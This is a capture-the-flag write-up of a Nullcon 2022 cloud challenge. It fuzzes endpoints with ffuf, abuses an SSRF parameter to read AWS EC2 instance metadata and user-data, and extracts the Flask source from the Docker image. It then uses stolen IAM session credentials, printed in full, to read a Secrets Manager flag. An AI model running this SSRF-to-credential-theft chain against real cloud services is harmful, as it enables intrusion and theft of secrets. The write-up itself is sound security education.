# Request for Knowledge  
```  
Keep looking! I know you want to know the secrets of the cloud.

** The Cloud security challenges are provided by SEC Consult **  
http://3.64.214.139//???????  
```

The description hints at the existance of another endpoint, so we'll try using
`ffuf` to find it:  
```  
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-
lowercase-2.3-small.txt -u http://3.64.214.139/FUZZ

/'___\ /'___\ /'___\  
/\ \\__/ /\ \\__/ __ __ /\ \\__/  
\ \ ,__\\\ \ ,__\/\ \/\ \ \ \ ,__\  
\ \ \\_/ \ \ \\_/\ \ \\_\ \ \ \ \\_/  
\ \\_\ \ \\_\ \ \\____/ \ \\_\  
\/_/ \/_/ \/___/ \/_/

v1.3.1 Kali Exclusive <3  
________________________________________________

:: Method : GET  
:: URL : http://3.64.214.139/FUZZ  
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-
lowercase-2.3-small.txt  
:: Follow redirects : false  
:: Calibration : false  
:: Timeout : 10  
:: Threads : 40  
:: Matcher : Response status: 200,204,301,302,307,401,403,405  
________________________________________________

request [Status: 200, Size: 1256, Words: 298, Lines: 47]  
calc [Status: 405, Size: 153, Words: 16, Lines: 6]  
```  
quickly revealing that the hinted endpoint is `/request`.

Visiting `http://3.64.214.139/request` reveals us the default home page for
`example.com`:  
![](./images/example_com.png)

This could primarily mean two things:  
\- We're shown a copy of `example.com` for whatever reason (maybe there's more
things we could find with `ffuf`?)  
\- We're shown the real `example.com`, meaning there could be a way for us to
possibly fetch other sites (=> [SSRF](https://book.hacktricks.xyz/pentesting-
web/ssrf-server-side-request-forgery/cloud-ssrf))

If this is the real `example.com`, we could confirm this by trying to fuzz
possible parameters to see if we can control the URL it shows with `ffuf`:  
```  
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
-u http://3.64.214.139/request?FUZZ=a -fc 200 -mc all

/'___\ /'___\ /'___\  
/\ \\__/ /\ \\__/ __ __ /\ \\__/  
\ \ ,__\\\ \ ,__\/\ \/\ \ \ \ ,__\  
\ \ \\_/ \ \ \\_/\ \ \\_\ \ \ \ \\_/  
\ \\_\ \ \\_\ \ \\____/ \ \\_\  
\/_/ \/_/ \/___/ \/_/

v1.3.1 Kali Exclusive <3  
________________________________________________

:: Method : GET  
:: URL : http://3.64.214.139/request?FUZZ=a  
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-
names.txt  
:: Follow redirects : false  
:: Calibration : false  
:: Timeout : 10  
:: Threads : 40  
:: Matcher : Response status: all  
:: Filter : Response status: 200  
________________________________________________

url [Status: 500, Size: 265, Words: 33, Lines: 6]  
```  
so whenever we have the `url` parameter set to an invalid URL the page will
error, indicating that we can indeed control what page it requests. We can
also confirm this by visiting
`http://3.64.214.139/request?url=http://google.com`, showing us Google's home
page!

Knowing that this is ran on AWS (either by the previous parts of the
challenge, or the IP range used by the website), we can try accessing the
[instance metadata
endpoint](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-
data-retrieval.html) exposed to EC2 instances if this is ran on EC2:  
```  
└─$ curl http://3.64.214.139/request?url=http://169.254.169.254/latest/  
dynamic  
meta-data  
user-data  
```  
and the website indeed is running on EC2.

This allows us to get additional information about the instance, which is
separated into 3 categories:  
\- dynamic: associated information with the instance on AWS' side (account id,
instance id, instance type, image id, region)  
\- meta-data: instance-specific information (hostname, network interfaces, IAM
credentials it uses, etc.)  
\- user-data: commands that should be executed on the instance (used by
[cloud-init](https://cloudinit.readthedocs.io/en/latest/topics/format.html),
helps automating infrastructure deployment)

The dynamic endpoints aren't very interesting for us, as we already know most
of that information that matters from previous challenges in the category.

The meta-data endpoints allows us to find two different IAM credentials
located at the following paths:  
\- http://3.64.214.139/request?url=http://169.254.169.254/latest/meta-
data/iam/security-credentials/ec2_role  
\- http://3.64.214.139/request?url=http://169.254.169.254/latest/meta-
data/identity-credentials/ec2/security-credentials/ec2-instance

Bruteforcing both of their permissions with
[pacu](https://github.com/RhinoSecurityLabs/pacu) and [enumerate-
iam](https://github.com/andresriancho/enumerate-iam) does not yield anything
interesting other than being able to screenshot instance's console, though
trying this with the instance ID fails as the permissions for it are
restricted per instance and not globally by default. It's worth noting that
these tools don't detect all possible permissions we can use but more or less
detect permissions that we definitely can't use, as certain commands require
additional arguments like instance ID which the tools can't know when the
credentials don't have permission to list things. So without knowing more
specifically what we need to do, these credentials don't have much use for
now.

Checking the user-data reveals to us how the EC2 instance was provisioned:  
```  
└─$ curl http://3.64.214.139/request?url=http://169.254.169.254/latest/user-
data  
#!/usr/bin/bash  
sudo apt update  
sudo apt install -y docker.io net-tools curl  
sleep 5  
sudo useradd -m -s /usr/bin/bash -u 1337 ec2nullconadmin  
sudo mkdir /home/ec2nullconadmin/.ssh  
sudo echo "ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQCcjVtTWufmom054OxYi2tnNKGX/f01pu2awD6U6VNoaHNHEMfBinmzYp11SzFz4b5ugumv1J8D3EO5ewyVk3eJahfQSbjBCUSNP/ZZMjQI9ppudnIBMN286whVDtAgQmLES7RfYRU0nszB2d2wcgH7FtG6T+Ip7MKHggCaUxZ7OULWly5dmdQlJr/0gQGd6Zp+AyOPoAWds//6YNADc+7X1ZAAwpfTlC+ETnbFZr0Aeip3n6PX5qMP25SFwvHBJrjm88mdnKR66Tf4sZKmmI3kO/Kdqbz6Vouxr2cP+ipVWoDi2m5MGxgn1TtkeYICoZjvkcBMLwIWOuCsRDVvGuXX"
>> /home/ec2nullconadmin/.ssh/authorized_keys  
sudo chown ec2nullconadmin:ec2nullconadmin /home/ec2nullconadmin/.ssh
/home/ec2nullconadmin/.ssh/authorized_keys  
sudo chmod 700 /home/ec2nullconadmin/.ssh  
sudo chmod 600 /home/ec2nullconadmin/.ssh/authorized_keys

sudo docker run -d -p 80:80 fjse3983mr9mfv90s/eprounf923382fnd9po823  
```  
which sets up an SSH key for the account `ec2nullconadmin` and then runs a
Docker container with the image `fjse3983mr9mfv90s/eprounf923382fnd9po823`.

As the Docker image is named with the intention to not be easily findable,
we'll investigate if it has anything interesting inside:  
```  
└─$ docker pull fjse3983mr9mfv90s/eprounf923382fnd9po823  
[...]

└─$ docker history fjse3983mr9mfv90s/eprounf923382fnd9po823 --no-trunc  
IMAGE CREATED CREATED BY SIZE COMMENT  
sha256:41f78828616db4e360be8cb6d9e544558b200c07a79da33af7b08c4c3ebfcba8 2 days
ago /bin/sh -c #(nop) ENTRYPOINT ["/var/www/run_server.sh"] 0B  
<missing> 2 days ago /bin/sh -c #(nop) USER www-data 0B  
<missing> 2 days ago |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c chmod +x
webserver.py run_server.sh 2.92kB  
<missing> 2 days ago /bin/sh -c #(nop) COPY
file:d18145652dcb9d7acb8c68df502199cd9952d847d2f23e5ca7740e161291383e in .
105B  
<missing> 2 days ago /bin/sh -c #(nop) COPY
file:574edbfc0b168afa97571efabc8ba639ad730ca41a29cf43cdbb1bc178f60a1b in .
2.81kB  
<missing> 2 months ago /bin/sh -c #(nop) WORKDIR /var/www/ 0B  
<missing> 2 months ago |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c pip3
install -U flask requests boto3 85.4MB  
<missing> 2 months ago |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c apt update
&& apt install -y python3 python3-pip iputils-ping curl wget 375MB  
<missing> 2 months ago /bin/sh -c #(nop) ARG DEBIAN_FRONTEND=noninteractive 0B  
<missing> 3 months ago /bin/sh -c #(nop) CMD ["bash"] 0B  
<missing> 3 months ago /bin/sh -c #(nop) ADD
file:7009ad0ee0bbe5ed7f381792e07347e260e6896aeee0d80597808065120fa96b in /
72.8MB  
```

The image seem to contain the files `webserver.py` and `run_server.sh` that
may be interesting to us, and everything else seems to be part of the base
image the image uses or instructions for Docker on how to run the container by
default. Let us now extract those files (alternatively we can get the whole
docker image with `docker save fjse3983mr9mfv90s/eprounf923382fnd9po823 -o
docker_image.tar`):  
```  
└─$ docker run --rm --name cloud -it fjse3983mr9mfv90s/eprounf923382fnd9po823
&  
└─$ docker cp cloud:/var/www/ ./  
```

run_server.sh:  
```  
#!/bin/bash

export FLASK_APP=webserver  
export FLASK_ENV=production  
flask run --host="0.0.0.0" --port=80  
```

webserver.py:  
```  
from flask import Flask  
from flask import request  
import subprocess  
import requests as req  
import boto3  
import base64  
import json

app = Flask(__name__)

res = req.get("http://169.254.169.254/latest/meta-data/public-ipv4")  
lambda_url = f"http://{res.text}/calc"

@app.route('/')  
def root_page():

script1 = """  
<script>  
function calculate() {  
const p = document.querySelectorAll("p");  
var input = document.getElementById("calc_input").value;  
  
const xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {  
if (xhttp.readyState === 4) {  
p[0].innerText = xhttp.responseText;  
}  
}  
xhttp.open("POST",'"""  
script2 = """');  
xhttp.setRequestHeader("Content-Type", "application/json");  
var sendVar = '{"input":"'+input+'"}';  
xhttp.send(sendVar);  
}  
</script>  
"""

script = script1 + lambda_url + script2

image1 = '![](https://nullcon-static-content-public-bucket.s3.eu-
central-1.amazonaws.com/sec-consult.svg)'  
html1 = '<h2> The Cloud security challenges are provided by SEC Consult</h2>'  
link1 = 'https://sec-consult.com/'  
calc_input = """  
<form id="calc_form">  
<label for="calc_input">Quick calculator</label>  
  
<input name="calc_input" type="text" id="calc_input"/>  
<button type="button" onclick="calculate()" >Calculate!</button>  
</form>  
  

  
"""

# Add loading db credentials from secrets manager  
#get_secret_value_response = boto3.client("secretsmanager", region_name="eu-
central-1").get_secret_value(SecretId="database_pw")  
#if 'SecretString' in get_secret_value_response:  
# secret = get_secret_value_response['SecretString']["database_pw"]  
#TODO: implement database backend. Use the key webserver-private-key for
direct access to the server

return f"{script}{image1}{html1}{link1}{calc_input}"

@app.route('/request')  
def req_page():  
url = request.args.get("url", "http://example.com")  
res = req.get(url)  
return res.text

@app.route('/calc', methods = ['POST'])  
def calc_page():  
if request.method == 'POST':  
"""little calculator"""  
request_data = request.get_json()  
client = boto3.setup_default_session(region_name='eu-central-1')  
client = boto3.client('lambda')  
response = client.invoke(  
FunctionName = "lambda-calculator",  
InvocationType = "RequestResponse",  
Payload = '{"input":"'+str(request_data["input"])+'"}'  
)

payload = json.loads(response['Payload'].read())  
return payload  
else:  
return "Only POST allowed"  
```

The interesting part is the following:  
```  
# Add loading db credentials from secrets manager  
#get_secret_value_response = boto3.client("secretsmanager", region_name="eu-
central-1").get_secret_value(SecretId="database_pw")  
#if 'SecretString' in get_secret_value_response:  
# secret = get_secret_value_response['SecretString']["database_pw"]  
```  
revealing to us that there's a secret named `database_pw` that the EC2
instance should be able to access.

And as we previously found multiple EC2 credentials from the metadata
endpoints, all we need to do now is to try the credentials:  
```  
# values from
http://3.64.214.139/request?url=http://169.254.169.254/latest/meta-
data/iam/security-credentials/ec2_role  
└─$ AWS_REGION=eu-central-1 AWS_ACCESS_KEY_ID=ASIA22D7J5LEG4ULKCMY
AWS_SECRET_ACCESS_KEY=x2lHGw7gV22YKmPwdjOwd6d4/pnGQJmhYjFzS006
AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDkaDGV1LWNlbnRyYWwtMSJHMEUCIQCrFm5Av1/CJWWsc+dE3h7JZcT1aPbpUOFUgH5yjQLI7AIgdv3bHYhxwXZggOyLxc3EB/+xzEC9M+Cj4iN02y6D+okq5QQIov//////////ARAAGgw3NDMyOTYzMzA0NDAiDL473aAatXJmk205fSq5BIKYe+pVGNFCi+Tjs8uq/ptjW2IdNgt2KSEvhi33ehITVUa1W+g7wEQItuFZtTXQP9mcM8cJi0MCoTaVh0bhAQ/Ba050HEKteEUa6u9z5Ozmxi8d4AHqiZf+o6WqoRdpnGdi/bmo/qhGgVXspYk6oTO8Tn5xQQCX+ro/ofC8z0EKm7AIOxCKz3FByw9745xbnJHX5KUecmfxh3f0EHBabAprSrUowCu7++ZFaAAx+/3vJOjmwzOT0/8tZKdBDmRT25LAz1IjDlj17M2p4ln0kVCFVEyZpuQGX06HpcGML6aF0SmFiehzS3T6qU41ARIURV6bIh77Qjw3s9XW4dJqI01Xbuqs3OwyR7qYj0/Bswl2osvQw4EP3OQGdDVzMm7BAPOzvnRxNPpSGnjfFsIJMRI+R+qYd7X3zdjhb95HLqMEvIfJobn1H99uKoc3Td+IENLzPjm60I0K3yUoduD1yJETH0YmAipa5FmZUOKIXeBahx6hVAfAQI3Gn5IzWitjbz+Ag5wojsb0eAwon56T8TEfwSqmyqtt80Ivp8rytaaCssHZdMt9/0ZhSN3H/RlyWwG6tyBsuHgFMt/z/jmraFZOv5F2Lvph+kwhXtVFFwb7JG6iBZ/ULI1pxPFbu9VYT/JMJDudUN16wFnPrseehkiI2MJicJn437dS2fvRzGG9eQpvSfEogHY0QvFJHaEh8yCM/xcT7cFAkMlrl2P/H2h1CXqJTWoWNYLucOqOza2BuGDWdt95lNxSMPf24pcGOqkB+XCveLhcIheCVcbgvboDHUSaEaeHV+eE51IWbeYQahNa1j1bdlczykZH4tQaJi4sQBWAWqbYOKrU2ciepdTGys1GToOZ75qk4Y3/Nx34PZ0aTMY7fCtGpgcZ/bNvKtghRrSk/7pzS2JiL92GzvFmAvyYFB1eGUSvI2Y6pLI7mGac425OIXoCgTlQpnxRxLB37FLvW+NjGGfQ5da3W9bLShY2Ajz+j7ae3g==
aws secretsmanager get-secret-value --secret-id database_pw  
{  
"ARN": "arn:aws:secretsmanager:eu-central-1:743296330440:secret:database_pw-
dObJHD",  
"Name": "database_pw",  
"VersionId": "c0ae0a5e-2ece-453d-bc5a-9df73716d144",  
"SecretString": "{\"database_pw\":\"ENO{P5555T_Can_y0u_k33p_4_S3CRET}\"}",  
"VersionStages": [  
"AWSCURRENT"  
],  
"CreatedDate": "2022-08-11T22:51:09.716000+03:00"  
}  
```

Flag: `ENO{P5555T_Can_y0u_k33p_4_S3CRET}`

Original writeup (https://github.com/TrixterTheTux/CTF-
Writeups/blob/main/nullconctf_2022/cloud/3_request_for_knowledge.md).